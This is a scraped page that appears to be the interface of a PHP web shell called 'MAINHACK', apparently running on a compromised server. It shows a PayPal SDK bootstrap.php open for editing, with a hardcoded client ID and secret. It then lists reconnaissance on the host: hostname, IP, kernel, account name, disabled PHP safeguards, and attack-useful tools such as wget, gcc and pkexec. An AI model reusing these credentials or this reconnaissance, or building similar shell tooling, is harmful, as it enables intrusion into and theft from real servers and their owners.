[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: bootstrap.php
<?php /* * Sample bootstrap file. */ // Include the composer Autoloader // The location of your project's vendor autoloader. $composerAutoload = dirname(dirname(dirname(__DIR__))) . '/autoload.php'; if (!file_exists($composerAutoload)) { //If the project is used as its own project, it would use rest-api-sdk-php composer autoloader. $composerAutoload = dirname(__DIR__) . '/vendor/autoload.php'; if (!file_exists($composerAutoload)) { echo "The 'vendor' folder is missing. You must run 'composer update' to resolve application dependencies.\nPlease see the README for more information.\n"; exit(1); } } require $composerAutoload; require __DIR__ . '/common.php'; use PayPal\Auth\OAuthTokenCredential; use PayPal\Rest\ApiContext; // Suppress DateTime warnings, if not set already date_default_timezone_set(@date_default_timezone_get()); // Adding Error Reporting for understanding errors properly error_reporting(E_ALL); ini_set('display_errors', '1'); // Replace these values by entering your own ClientId and Secret by visiting https://developer.paypal.com/webapps/developer/applications/myapps $clientId = 'AYSq3RDGsmBLJE-otTkBtM-jBRd1TCQwFf9RGfwddNXWz0uFU9ztymylOhRS'; $clientSecret = 'EGnHDxD_qRPdaLdZz8iCr8N7_MzF-YHPTkjs6NKYQvQSBngp4PTTVWkPZRbL'; /** * All default curl options are stored in the array inside the PayPalHttpConfig class. To make changes to those settings * for your specific environments, feel free to add them using the code shown below * Uncomment below line to override any default curl options. */ //PayPalHttpConfig::$defaultCurlOptions[CURLOPT_SSLVERSION] = CURL_SSLVERSION_TLSv1_2; /** @var \Paypal\Rest\ApiContext $apiContext */ $apiContext = getApiContext($clientId, $clientSecret); return $apiContext; /** * Helper method for getting an APIContext for all calls * @param string $clientId Client ID * @param string $clientSecret Client Secret * @return PayPal\Rest\ApiContext */ function getApiContext($clientId, $clientSecret) { // #### SDK configuration // Register the sdk_config.ini file in current directory // as the configuration source. /* if(!defined("PP_CONFIG_PATH")) { define("PP_CONFIG_PATH", __DIR__); } */ // ### Api context // Use an ApiContext object to authenticate // API calls. The clientId and clientSecret for the // OAuthTokenCredential class can be retrieved from // developer.paypal.com $apiContext = new ApiContext( new OAuthTokenCredential( $clientId, $clientSecret ) ); // Comment this line out and uncomment the PP_CONFIG_PATH // 'define' block if you want to use static file // based configuration $apiContext->setConfig( array( 'mode' => 'sandbox', 'log.LogEnabled' => true, 'log.FileName' => '../PayPal.log', 'log.LogLevel' => 'DEBUG', // PLEASE USE `FINE` LEVEL FOR LOGGING IN LIVE ENVIRONMENTS 'cache.enabled' => true, // 'http.CURLOPT_CONNECTTIMEOUT' => 30 // 'http.headers.PayPal-Partner-Attribution-Id' => '123123123' ) ); // Partner Attribution Id // Use this header if you are a PayPal partner. Specify a unique BN Code to receive revenue attribution. // To learn more or to request a BN Code, contact your Partner Manager or visit the PayPal Partner Portal // $apiContext->addRequestHeader('PayPal-Partner-Attribution-Id', '123123123'); return $apiContext; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.51 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002